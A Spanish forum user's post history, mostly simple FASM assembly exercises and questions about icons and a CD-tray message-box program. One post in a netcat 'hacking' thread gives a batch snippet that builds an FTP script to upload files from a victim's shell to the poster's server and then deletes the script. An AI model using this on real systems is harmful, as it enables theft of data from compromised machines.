Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - elmeister

#11
Cita de: E0N en 22 Abril 2008, 23:04 PM
Mejor pega el source en el post  y asi se comentan dudas y eso ;) Por q es q como me los tenga q dar a mi todo el mundo me puedo aburrir a corregirlos xD

Salu2

para que no diga nadie que le fastidié los ejercicios, posteo aquí el código por petición de E0N:

Ejercicio 1:

Código (asm) [Seleccionar]

include 'H:\archivos de programa\fasm\include\win32ax.inc'

.code
start:

mov eax, 12  ;Puede ser cualquier valor, yo les he dado estos porque me apetecía
mov ebx, 8    ;Usar esos numeros
add eax, ebx

.end start


ejercicio 2

Código (asm) [Seleccionar]
include 'H:\archivos de programa\fasm\include\win32ax.inc'
.data
miByte db  ?

.code

start:

mov [miByte], 8
mov al, 7
add al, 8
add al, 5
add al, 2
add al, 9
add al, 1
add al, 0
add al, 3
div [miByte]     ; el resultado aparecerá en AL y el resto en AH


.end start


ejercicio 3

Código (asm) [Seleccionar]
include 'H:\archivos de programa\fasm\include\win32ax.inc'

.code

start:

push 1
pop eax
push 2
pop ebx
push 3
pop ecx
push 4
pop edx
push 5
pop edi
push 6
pop esi


.end start


Ejercicio 4 (no se si lo tengo bien o no)

Código (asm) [Seleccionar]

include 'H:\Archivos de programa\FASM\INCLUDE\WIN32AX.inc'
.code
start:

mov eax, 23
mov ebx, 39
cmp eax,ebx
je iguales
jne distintos

iguales:

invoke MessageBox, 0, 'eax y ebx son iguales', '', 0
invoke ExitProcess, 0

distintos:

invoke MessageBox, 0, 'eax y ebx son distintos', '', 0
invoke ExitProcess, 0

.end start


Ejercicio 5: (se que es así, pero no se si he elegido bien los saltos, creo que si)

Código (asm) [Seleccionar]
include 'H:\archivos de programa\fasm\include\win32ax.inc'

.code

start:

mov eax, 7
mov ebx, 1
add eax, ebx
cmp eax, 5
JBE salir
JG mensaje

mensaje:

invoke MessageBox, 0, 'Mayor que 5', '', 0

salir:

invoke ExitProcess, 0

.end start


Aquí podeis descargar los códigos fuente y los ejecutables compilados, lo he resubido porque vi que el código del primer ejercicio estaba en balco a la hora de postearlo:

http://www.megaupload.com/?d=Y1O3BY3K
#12
te dejo los ejercicios hechos por MP, no se si el 4º (el del IF) está bien, pero lo demás supongo que si
#13
Hacking / Re: Jugando con netcat
22 Abril 2008, 22:07 PM
Cita de: pascal88 en 22 Abril 2008, 20:23 PM
Hola, mirad, yo tengo un dominio de estos de iespana, entonces, digo, desde la shell de la victima, cojo y subo los archivos que quiera, y desde mi shell luego los veo.
Pero pasa una cosa, cuando pongo en la shell de la victima:

ftp 82.196...
(me pide usuario) y se lo pongo
pero sq, ahi se queda pensando un rato, y no sale nada, sq no me puedo conectar a mi servidor para subir algo, desde una shell remota??


Por favor, contestar!!

Gracias.

usa el código siguiente, donde pone script dejalo tal cual, es un archivo que crearás y despues borrarás

Código (dos) [Seleccionar]

echo usuario>>script
echo pass>>script
echo ascii>>script
echo put [PON AQUI LA RUTA DEL ARCHIVO QUE QUIERES SUBIR]>>script
echo bye>>script
start ftp -s:script [aqui la direccion del servidor al que vas a subir el archivo]>nul
del script


repite el proceso por cada archivo, o añade varias lineas de echo put [archivo]>>script antes del echo bye>>script
#14
muchas gracias, ahora ha quedado claro, aunque debería estar puesto eso en el post principal para evitar dudas de más gente.

Saludos
#15
no consigo comprender en los ejemplos lo de miByte y miDWORD, no se supone que ahi van registros de la CPU? precisamente por el uso de mibyte no consigo hacer una división en ASM a la hora hacer el ejercicio de sacar la media
#16
muchas gracias, lo estaba haciendo bien, menos porque en la  sección '.idata' no puse el

import winmm,\
        mciSendString,'mciSendStringA'
#17
vale, es que habría que reestructurar el codigo casi al completo, muchas gracias, ahora lo pruebo,


funciona, pero ahora no consigo hacerlo para que haga como el beer.asm
#18
lo he añadido y no sale el icono (he cambiado la linea del icono para poner el nombre del icono que quiero que tenga), y con el resource hacker me aparecen las categorías de Icon y Icon Group, pero me dan un error diciendo Out of System Resources
#19
no me refiero a eso, aunque tambien me viene bien, gracias, me refiero al icono del ejecutable
#20
E0N, tengo una duda, estaba trasteando con los ejemplos que trae el FASM, y modifiqué el BEER.ASM quedando así

Código (asm) [Seleccionar]

; Beer - example of tiny (one section) Win32 program

format PE GUI 4.0

include 'H:/Archivos de Programa/FASM/include/win32a.inc'

; no section defined - fasm will automatically create .flat section for both
; code and data, and set entry point at the beginning of this section

invoke MessageBoxA,0,_message,_caption,MB_ICONQUESTION+MB_YESNO
cmp eax,IDYES
jne exit

invoke mciSendString,_cmd_open,0,0,0
invoke mciSendString,_cmd_eject,0,0,0
invoke mciSendString,_cmd_close,0,0,0
invoke MessageBoxA,0,_aburrimiento, _aburres,MB_ICONQUESTION+MB_OK

exit:
invoke ExitProcess,0

_message db 'Te veo aburrido, quieres echar unas canastas?',0
_caption db 'Estás aburrido',0

_cmd_open db 'open cdaudio',0
_cmd_eject db 'set cdaudio door open',0
_cmd_close db 'close cdaudio',0

_aburrimiento db 'Hala! Haz un Triple!',0
_aburres db 'NBA',0

; import data in the same section

data import

library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL',\
winmm,'WINMM.DLL'

import kernel32,\
ExitProcess,'ExitProcess'

import user32,\
MessageBoxA,'MessageBoxA'

import winmm,\
mciSendString,'mciSendStringA'

end data


Añadí un mensaje despues de que se abriese la bandeja del CD, mi duda es, como puedo cambiar el icono?, lo he compilado y funciona perfecto, pero no puedo cambiarlo (el código lo adjunta para mostrar como quedó y nada más, aunque solo he añadido y traducido, no he cambiado más)